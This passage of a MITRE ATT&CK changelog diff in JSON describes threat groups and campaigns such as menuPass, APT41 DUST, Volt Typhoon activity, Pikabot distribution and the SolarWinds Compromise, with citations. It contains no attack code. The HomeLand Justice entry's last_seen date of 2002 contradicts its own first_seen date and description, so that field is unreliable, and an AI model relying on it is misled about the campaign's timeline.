+ ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:23:56.908000+00:00\", \"old_value\": \"2024-04-10 22:34:04.070000+00:00\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.\", \"old_value\": \"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline\", \"old_value\": \"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/\"}}}", + "previous_version": "1.3" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:09.054000+00:00", + "modified": "2024-09-19 14:30:03.922000+00:00", + "name": "menuPass", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "aliases": [ + "menuPass", + "Cicada", + "POTASSIUM", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX", + "HOGFISH", + "BRONZE RIVERSIDE" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0045", + "external_id": "G0045" + }, + { + "source_name": "HOGFISH", + "description": "(Citation: Accenture Hogfish April 2018)" + }, + { + "source_name": "POTASSIUM", + "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" + }, + { + "source_name": "Stone Panda", + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)" + }, + { + "source_name": "APT10", + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)" + }, + { + "source_name": "menuPass", + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" + }, + { + "source_name": "Red Apollo", + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" + }, + { + "source_name": "CVNX", + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)" + }, + { + "source_name": "BRONZE RIVERSIDE", + "description": "(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)" + }, + { + "source_name": "Cicada", + "description": "(Citation: Symantec Cicada November 2020)" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022", + "description": "Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.", + "url": "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader" + }, + { + "source_name": "Crowdstrike CrowdCast Oct 2013", + "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.", + "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "Symantec Cicada November 2020", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion" + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.", + "url": "https://www.justice.gov/opa/page/file/1122671/download" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Edward Millington", + "Michael Cox" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-19 14:30:03.922000+00:00\", \"old_value\": \"2024-04-11 00:47:44.925000+00:00\"}, \"root['external_references'][14]['description']\": {\"new_value\": \"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.\", \"old_value\": \"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.\"}, \"root['external_references'][14]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf\", \"old_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf\"}}}", + "previous_version": "3.0" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [ + { + "type": "campaign", + "id": "campaign--add4d9de-1256-4166-83b8-57087288dced", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-16 09:05:01.249000+00:00", + "modified": "2024-09-21 07:12:01.955000+00:00", + "name": "APT41 DUST", + "description": "[APT41 DUST](https://attack.mitre.org/campaigns/C0040) was conducted by [APT41](https://attack.mitre.org/groups/G0096) from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. [APT41 DUST](https://attack.mitre.org/campaigns/C0040) targeted sectors such as shipping, logistics, and media for information gathering purposes. [APT41](https://attack.mitre.org/groups/G0096) used previously-observed malware such as [DUSTPAN](https://attack.mitre.org/software/S1158) as well as newly observed tools such as [DUSTTRAP](https://attack.mitre.org/software/S1159) in [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)", + "aliases": [ + "APT41 DUST" + ], + "first_seen": "2023-01-31 23:00:00+00:00", + "last_seen": "2024-06-30 22:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0040", + "external_id": "C0040" + }, + { + "source_name": "Google Cloud APT41 2024", + "description": "Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Google Cloud APT41 2024)", + "x_mitre_last_seen_citation": "(Citation: Google Cloud APT41 2024)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--7e21077d-2589-43a7-a5f9-490061289526", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-06 20:52:19.002000+00:00", + "modified": "2024-08-21 18:21:02.205000+00:00", + "name": "HomeLand Justice", + "description": "[HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the \"HomeLand Justice\" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022) A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.(Citation: CISA Iran Albanian Attacks September 2022)\n\n", + "aliases": [ + "HomeLand Justice" + ], + "first_seen": "2021-05-01 04:00:00+00:00", + "last_seen": "2002-09-01 04:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0038", + "external_id": "C0038" + }, + { + "source_name": "CISA Iran Albanian Attacks September 2022", + "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a" + }, + { + "source_name": "Mandiant ROADSWEEP August 2022", + "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/" + }, + { + "source_name": "Microsoft Albanian Government Attacks September 2022", + "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Aung Kyaw Min Naing, @Nolan" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)", + "x_mitre_last_seen_citation": "(Citation: CISA Iran Albanian Attacks September 2022)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--0c259854-4044-4f6c-ac49-118d484b3e3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-10 18:57:09.920000+00:00", + "modified": "2024-10-03 10:11:13.072000+00:00", + "name": "KV Botnet Activity", + "description": "[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) consisted of exploitation of primarily \u201cend-of-life\u201d small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) was used by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster.(Citation: Lumen KVBotnet 2023) This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.(Citation: DOJ KVBotnet 2024)", + "aliases": [ + "KV Botnet Activity" + ], + "first_seen": "2022-10-01 04:00:00+00:00", + "last_seen": "2024-01-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0035", + "external_id": "C0035" + }, + { + "source_name": "Lumen KVBotnet 2023", + "description": "Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.", + "url": "https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/" + }, + { + "source_name": "DOJ KVBotnet 2024", + "description": "US Department of Justice. (2024, January 31). U.S. Government Disrupts Botnet People\u2019s Republic of China Used to Conceal Hacking of Critical Infrastructure. Retrieved June 10, 2024.", + "url": "https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Lumen KVBotnet 2023)", + "x_mitre_last_seen_citation": "(Citation: DOJ KVBotnet 2024)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--81e89fb4-8d07-4d8a-82f4-bf084f9d5d53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-17 19:42:07.269000+00:00", + "modified": "2024-10-28 19:02:07.114000+00:00", + "name": "Pikabot Distribution February 2024", + "description": "[Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of [Pikabot](https://attack.mitre.org/software/S1145) distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.(Citation: Elastic Pikabot 2024)(Citation: Zscaler Pikabot 2024)", + "aliases": [ + "Pikabot Distribution February 2024" + ], + "first_seen": "2024-02-01 05:00:00+00:00", + "last_seen": "2024-02-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0036", + "external_id": "C0036" + }, + { + "source_name": "Elastic Pikabot 2024", + "description": "Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.", + "url": "https://www.elastic.co/security-labs/pikabot-i-choose-you" + }, + { + "source_name": "Zscaler Pikabot 2024", + "description": "Nikolaos Pantazopoulos. (2024, February 12). The (D)Evolution of Pikabot. Retrieved July 17, 2024.", + "url": "https://www.zscaler.com/blogs/security-research/d-evolution-pikabot" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Inna Danilevich, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Elastic Pikabot 2024)", + "x_mitre_last_seen_citation": "(Citation: Elastic Pikabot 2024)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-27 18:34:35.056000+00:00", + "modified": "2024-09-28 09:54:33.751000+00:00", + "name": "Versa Director Zero Day Exploitation", + "description": "[Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)", + "aliases": [ + "Versa Director Zero Day Exploitation" + ], + "first_seen": "2024-06-01 06:00:00+00:00", + "last_seen": "2024-08-01 06:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0039", + "external_id": "C0039" + }, + { + "source_name": "Lumen Versa 2024", + "description": "Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.", + "url": "https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Lumen Versa 2024)", + "x_mitre_last_seen_citation": "(Citation: Lumen Versa 2024)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "campaign", + "id": "campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-17 20:23:22.945000+00:00", + "modified": "2024-10-28 19:02:30.340000+00:00", + "name": "Water Curupira Pikabot Distribution", + "description": "[Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of [QakBot](https://attack.mitre.org/software/S0650), with several technical overlaps and similarities with [QakBot](https://attack.mitre.org/software/S0650), indicating a possible connection. The identified activity led to the deployment of tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154), while coinciding with campaigns delivering [DarkGate](https://attack.mitre.org/software/S1111) and [IcedID](https://attack.mitre.org/software/S0483) en route to ransomware deployment.(Citation: TrendMicro Pikabot 2024)", + "aliases": [ + "Water Curupira Pikabot Distribution" + ], + "first_seen": "2023-01-01 05:00:00+00:00", + "last_seen": "2023-12-01 05:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0037", + "external_id": "C0037" + }, + { + "source_name": "TrendMicro Pikabot 2024", + "description": "Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira\u2019s Pikabot Spam Campaign. Retrieved July 17, 2024.", + "url": "https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Inna Danilevich, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: TrendMicro Pikabot 2024)", + "x_mitre_last_seen_citation": "(Citation: TrendMicro Pikabot 2024)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "campaign", + "id": "campaign--808d6b30-df4e-4341-8248-724da4bac650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-24 14:59:26.744000+00:00", + "modified": "2024-09-03 18:50:55.787000+00:00", + "name": "SolarWinds Compromise", + "description": "The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog) \n\nIn April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds\u2019 Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) ", + "aliases": [ + "SolarWinds Compromise" + ], + "first_seen": "2019-08-01 05:00:00+00:00", + "last_seen": "2021-01-01 06:00:00+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/campaigns/C0024", + "external_id": "C0024" + }, + { + "source_name": "Volexity SolarWinds", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + }, + { + "source_name": "USG Joint Statement SolarWinds January 2021", + "description": "FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.", + "url": "https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure" + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html" + }, + { + "source_name": "Mandiant UNC2452 APT29 April 2022", + "description": "Mandiant. (2020, April 27). Assembling the Russian Nesting Doll: UNC2452 Merged into APT29. Retrieved March 26, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc2452-merged-into-apt29" + }, + { + "source_name": "MSTIC NOBELIUM May 2021", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" + }, + { + "source_name": "Microsoft Internal Solorigate Investigation Blog", + "description": "MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation \u2013 Final Update. Retrieved May 14, 2021.", + "url": "https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/" + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/" + }, + { + "source_name": "NSA Joint Advisory SVR SolarWinds April 2021", + "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.", + "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF" + }, + { + "source_name": "SolarWinds Advisory Dec 2020", + "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.", + "url": "https://www.solarwinds.com/sa-overview/securityadvisory" + }, + { + "source_name": "SolarWinds Sunburst Sunspot Update January 2021", + "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.", + "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/" + }, + { + "source_name": "UK NSCS Russia SolarWinds April 2021", + "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.", + "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise" + }, + { + "source_name": "Unit 42 SolarStorm December 2020", + "description": "Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.", + "url": "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_first_seen_citation": "(Citation: Unit 42 SolarStorm December 2020)", + "x_mitre_last_seen_citation": "(Citation: MSTIC NOBELIUM May 2021)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-03 18:50:55.787000+00:00\", \"old_value\": \"2023-04-14 00:41:06.231000+00:00\"}, \"root['description']\": {\"new_value\": \"The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: 